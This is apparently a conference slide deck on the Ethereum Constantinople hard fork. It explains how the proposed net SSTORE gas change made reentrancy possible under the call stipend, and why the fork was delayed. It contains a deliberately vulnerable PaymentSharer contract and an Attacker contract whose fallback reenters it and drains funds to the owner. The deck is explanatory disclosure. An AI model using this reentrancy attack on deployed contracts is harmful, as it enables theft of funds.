What happened with Constantinople?

Tomasz Drwięga, @tomusdrw
Parity Technologies

Constantinople?

  • EIP-1234: Diff. bomb & reward
  • EIP-145: Bitwise shifting
  • EIP 1052: EXTCODEHASH
  • EIP-1014: Skinny CREATE2
  • EIP-1283: Net SSTORE

Skinny CREATE2?

Currently (CREATE):
   Contract Address 
      = keccak(sender ++ nonce)

After (CREATE2):
   Contract Address
      = keccak(sender ++ salt ++ keccak(init_code))

 

Consequences?

  • Predictable address
    • Contract can be deployed later
  • Contracts can be resurrected
    • Even with a different code!

Net SSTORE?

Currently (SSTORE):

   Set 0 -> X:  20k
   Set X -> Y:   5k
   Set Y -> 0:   5k - 15k

 

After (SSTORE):
 (First change)
   Set 0 -> X:  20k
   Set X -> Y:   5k
   Set X -> 0:   5k - 15k
 (Next change)
   Set Y -> Z:   200
   Set Y -> X:   200 - 20k

 

Why?

  • Temporary changes are too costly
  • It doesn't reflect the actual cost
  • Doesn't seem to complicated

What Went WRONG?

ReEntrancy?

function withdraw() {
  require(deposit > 0);

  contractA.transfer(deposit); 

  deposit = 0;
}
function () payable {
   // got some money!
   if (!called) {
     called = true;
     msg.sender.withdraw();
   }
}

Remember DAO?

Call Stipend

https://github.com/ethereum/wiki/wiki/Subtleties

The child message of a nonzero-value CALL operation (NOT the top-level message arising from a transaction!) gains an additional 2300 gas on top of the gas supplied by the calling account; this stipend can be considered to be paid out of the 9000 mandatory additional fee for nonzero-value calls. This ensures that a call recipient will always have enough gas to log that it received funds.

This Specific exploit is (Much) harder

contract PaymentSharer {
  function init(uint id, address payable _first, address payable _second) public {
    first[id] = _first;
    second[id] = _second;
  }

  function deposit(uint id) public payable {
    deposits[id] += msg.value;
  }

  function updateSplit(uint id, uint split) public {
    require(split <= 100);
    splits[id] = split;
  }

  function splitFunds(uint id) public {
    // Signatures that both parties agree with this split

    // Split
    address payable a = first[id];
    address payable b = second[id];
    uint depo = deposits[id];
    deposits[id] = 0;

    a.transfer(depo * splits[id] / 100);
    b.transfer(depo * (100 - splits[id]) / 100);
  }
}
contract Attacker {
  constructor() public {
    owner = msg.sender;
  }

  function attack(address a) external {
    victim = a;
    PaymentSharer x = PaymentSharer(a);
    x.updateSplit(0, 100);
    x.splitFunds(0);
  }

  function () payable external {
    address x = victim;
    assembly{
        mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000)
        pop(call(10000, x, 0, 0x80, 0x44, 0, 0))
    }    
  }

  function drain() external {
    owner.transfer(address(this).balance);
  }
}

CONSEQUENCES?

  • Hard-fork pulled off (35h before)
  • Late night releases

Questions?

Tomasz Drwięga

@tomusdrw

Parity Technologies

Made with Slides.com